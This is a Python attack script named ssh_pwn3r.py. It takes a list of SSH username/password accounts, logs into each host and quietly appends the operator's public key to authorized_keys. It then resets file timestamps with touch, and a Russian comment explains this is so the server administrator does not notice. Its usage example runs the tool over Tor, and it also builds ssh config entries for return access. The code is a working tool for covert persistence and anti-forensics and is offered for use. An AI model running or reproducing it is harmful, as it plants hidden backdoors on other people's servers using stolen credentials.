check ssh accounts, add your public key to remote server and generates config entries

ssh_pwn3r.py

#!/usr/bin/env python3
"""
Example:
    torify ./ssh_pwnr.py -m '2019-02-26 01:23:45' -k ~/.ssh/pwn_key.pub -p 'pwned-' -i ssh_accs.txt >> ~/.ssh/config
"""

import argparse
import os
import sys
import typing
from contextlib import suppress
from functools import partial
from urllib.parse import urlsplit

import paramiko.client  # type: ignore

CSI = "\x1b["
RESET = f"{CSI}m"
BLACK = f"{CSI}30m"
RED = f"{CSI}31m"
GREEN = f"{CSI}32m"
YELLOW = f"{CSI}33m"
BLUE = f"{CSI}34m"
PURPLE = f"{CSI}35m"
CYAN = f"{CSI}36m"
WHITE = f"{CSI}37m"

print_stderr = partial(print, file=sys.stderr)


def open_ssh_connection(
    username: str,
    password: str,
    hostname: str,
    port: int = 22,
    **kwargs: typing.Any,
) -> paramiko.client.SSHClient:
    conn = paramiko.client.SSHClient()
    # conn.load_system_host_keys()
    # conn.load_host_keys()
    # FIX: Server 'X.X.X.X' not found in known_hosts
    conn.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    conn.connect(
        hostname=hostname,
        username=username,
        password=password,
        port=port,
        look_for_keys=False,
        **kwargs,
    )
    return conn


parser = argparse.ArgumentParser(
    description="check ssh accounts, add your public key to remote server and generates config entries"
)
parser.add_argument("-i", "--input", type=argparse.FileType(), default="-")
parser.add_argument(
    "-o", "--output", type=argparse.FileType("a"), default="-"
)
parser.add_argument(
    "-k",
    "--pub-key",
    type=argparse.FileType(),
    default=os.path.expanduser("~/.ssh/id_rsa.pub"),
)
parser.add_argument(
    "-j", "--jump-host", help="add jump host to each config entry"
)
parser.add_argument(
    "-p",
    "--host-prefix",
    help="host entry prefix",
    default="",
)
parser.add_argument(
    "-m",
    "--modtime",
    help="set modification time of created files. e.g.: 2022-02-24 00:01:23",
)
parser.add_argument(
    "-t", "--timeout", type=int, default=15.0, help="ssh connection timeout"
)
args = parser.parse_args()

# оставляем только тип и сам ключ без описания
pub_key_data = " ".join(args.pub_key.read().split()[:2])

accounts = list(filter(None, map(str.strip, args.input)))
print_stdout = partial(print, file=args.output, flush=True)

DEFAULT_SSH_PORT = 22

with suppress(KeyboardInterrupt):
    for acc in accounts:
        parsed = urlsplit(acc if "://" in acc else "ssh://" + acc)

        try:
            conn = open_ssh_connection(
                parsed.username,
                parsed.password,
                parsed.hostname,
                parsed.port,
                timeout=args.timeout,
            )

            _, stdout, _ = conn.exec_command("uname -n")

            hostname = stdout.read().decode().rstrip()
            print_stderr(
                f"{GREEN}ssh server hostname: {hostname} (addr: {parsed.hostname}){RESET}"
            )

            # тут главное добавить ключи так чтобы этого не заметил админ сервера
            _, stdout, _ = conn.exec_command(
                f"""\
            ssh_mtime=$(date -r ~/.ssh +"%Y-%m-%d %H:%M:%S" 2>/dev/null || echo "{args.modtime}")
            mkdir -p ~/.ssh

            authorized_keys_mtime=$(date -r ~/.ssh/authorized_keys +"%Y-%m-%d %H:%M:%S" 2>/dev/null || echo "{args.modtime}")
            if ! grep -sq "{pub_key_data}" ~/.ssh/authorized_keys; then
                echo "{pub_key_data}" >> ~/.ssh/authorized_keys
                echo "public key successfully added"
            else
                echo "public key already added"
            fi

            touch -a -m -d "$authorized_keys_mtime" ~/.ssh/authorized_keys
            touch -a -m -d "$ssh_mtime" ~/.ssh
            """
            )

            result = stdout.read().decode().rstrip()
            print_stderr(f"{GREEN}result: {result}{RESET}")

            print_stdout()
            # Это небезопасно
            # print_stdout(f"# Password: {shlex.quote(parsed.password)}")
            print_stdout(f"Host {args.host_prefix}{hostname}")
            print_stdout(f"  HostName     {parsed.hostname}")
            print_stdout(f"  User         {parsed.username}")
            if parsed.port != DEFAULT_SSH_PORT:
                print_stdout(f"  Port         {parsed.port}")
            if args.jump_host:
                print_stdout(f"  ProxyJump    {args.jump_host}")
            print_stdout(f"  IdentityFile {args.pub_key.name}")
        except Exception as ex:
            print_stderr(f"{RED}{ex}{RESET}")